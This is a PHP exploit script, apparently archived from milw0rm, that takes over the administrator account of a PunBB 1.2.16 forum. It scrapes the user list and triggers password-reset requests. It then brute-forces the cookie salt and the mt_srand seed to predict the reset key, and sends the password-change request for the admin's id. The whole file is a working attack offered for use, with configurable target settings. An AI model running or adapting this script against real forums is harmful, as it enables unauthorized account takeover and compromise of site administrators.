119 lines
No EOL
4.3 KiB
PHP
119 lines
No EOL
4.3 KiB
PHP
<?php
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/**
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* Original : http://sektioneins.de/advisories/SE-2008-01.txt
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* Thanks to Stefan Esser, here's the exploit.
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*
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* Team : EpiBite
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* firefox, petit-poney, thot
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* Nous tenons a remercier nos mamans et papas respectifs.
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* Let's get a fu*** coffee !
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*/
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// conf
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define('URL', 'http://localhost/punbb_1-2-16_fr/upload'); // base url
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define('EMAIL', 'login_x@epitech.net'); // your email
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define('LOGIN', 'login_x'); // your login
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define('PASS', '620553.8I73'); // your pass
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// Exploit
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printf("--\nUrl : %s\nEmail : %s\n--\n", URL, EMAIL);
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$h = curl_init();
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curl_setopt($h, CURLOPT_URL,
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URL.'/userlist.php?username=&show_group=-1&sort_by=registered&sort_dir=ASC&search=Envoyer');
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curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
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$s = curl_exec($h);
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preg_match('/profile\.php\?id=([0-9]*)">([^<]*)</', $s, $m);
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define('ADMIN', $m[2]);
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preg_match('/<td class="tcr">([0-9]{4})-([0-9]{2})-([0-9]{2})<\/td/', $s, $m);
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if (count($m))
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define('DATE', mktime(0, 0, 0, $m[2], $m[3], $m[1]));
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else
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define('DATE', time() - 86400); //just in case, the forum or account just has been created
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printf("Admin : %s\nDate : %s\n--\n", ADMIN, DATE);
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$h = curl_init();
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curl_setopt($h, CURLOPT_URL, URL.'/login.php?action=forget_2');
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// curl_setopt($h, CURLOPT_PROXY, 'proxies.epitech.net:3128');
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curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
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curl_setopt($h, CURLOPT_HEADER, 1);
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curl_setopt($h, CURLOPT_POST, 1);
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curl_setopt($h, CURLOPT_POSTFIELDS, implode('&', array('form_sent=1',
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'req_email='.urlencode(EMAIL),
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'request_pass=Envoyer')));
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preg_match('/mailto:([^"]*)"/', curl_exec($h), $m);
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define('ADMIN_MAIL', $m[1]); // Admin email (normally automatically get, set manually if there's problem)
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printf("Admin mail : %s\n--\n", ADMIN_MAIL);
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$h = curl_init();
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curl_setopt($h, CURLOPT_URL, URL.'/login.php?action=forget_2');
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curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
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// curl_setopt($h, CURLOPT_PROXY, 'proxies.epitech.net:3128');
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curl_setopt($h, CURLOPT_COOKIE,
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'punbb_cookie='.rawurlencode(serialize(array(0 => 2, 1 =>
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md5('bite')))));
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curl_setopt($h, CURLOPT_HEADER, 1);
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curl_setopt($h, CURLOPT_POST, 1);
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curl_setopt($h, CURLOPT_POSTFIELDS, implode('&', array('form_sent=1',
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'req_email='.urlencode(ADMIN_MAIL),
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'request_pass=Envoyer')));
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$s = curl_exec($h);
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preg_match('/Set-Cookie:.*punbb_cookie=([^;]*)\;/', $s, $m);
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$c = unserialize(urldecode($m[1]));
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define('MD5_NOT_LOGGUED', $c[1]);
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printf("Md5 not loggued : %s\n--\n", MD5_NOT_LOGGUED);
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$h = curl_init();
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curl_setopt($h, CURLOPT_URL, URL.'/login.php?action=in');
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curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
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curl_setopt($h, CURLOPT_HEADER, 1);
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// curl_setopt($h, CURLOPT_PROXY, 'proxies.epitech.net:3128');
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curl_setopt($h, CURLOPT_POST, 1);
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curl_setopt($h, CURLOPT_POSTFIELDS, implode('&', array('form_sent=1',
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'redirect_url=index.php',
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'req_username='.LOGIN,
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'req_password='.PASS)));
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$s = curl_exec($h);
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preg_match('/Set-Cookie:.*punbb_cookie=([^;]*)\;/', $s, $m);
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$c = unserialize(urldecode($m[1]));
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define('MD5_LOGGUED', $c[1]);
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printf("Md5 loggued : %s\n--\n", MD5_LOGGUED);
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define('PASS_MD5ED', sha1(PASS));
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$chars = array('/', '-', "\\", '|');
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for ($p = 0; $p < 86400 * 2; $p++)
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{
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if (!($p % 300))
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echo $chars[($p / 300) % 4]."\r";
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if (strcmp(MD5_LOGGUED, md5(substr(md5((int)(DATE + $p)),
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-8).PASS_MD5ED)) == 0)
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{
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define('SEED', substr(md5(DATE + $p), -8));
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break;
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}
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}
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printf("Seed : %s\n--\n", SEED);
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for ($p = 0; $p < 1000000; $p++)
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{
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if (!($p % 300))
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echo $chars[($p / 300) % 4]."\r";
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mt_srand((double)$p);
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if (strcmp(md5(SEED.random_pass(8)), MD5_NOT_LOGGUED) == 0)
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{
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define('SRAND', $p);
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break;
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}
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}
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printf("SRAND : %s\n--\n", SRAND);
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mt_srand(SRAND);
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random_pass(8);
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printf("New password : %s\n--\n", random_pass(8));
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$url = URL.'/profile.php?id=2&action=change_pass&key='.random_pass(8);// Id is set to '2' (the admin's id, but you can change your target)
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$h = curl_init();
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curl_setopt($h, CURLOPT_URL, $url);
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curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
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curl_exec($h);
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function random_pass($len)
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{
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$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
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$password = '';
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for ($i = 0; $i < $len; ++$i)
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$password .= substr($chars, (mt_rand() % strlen($chars)), 1);
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return $password;
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}
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# milw0rm.com [2008-02-21]
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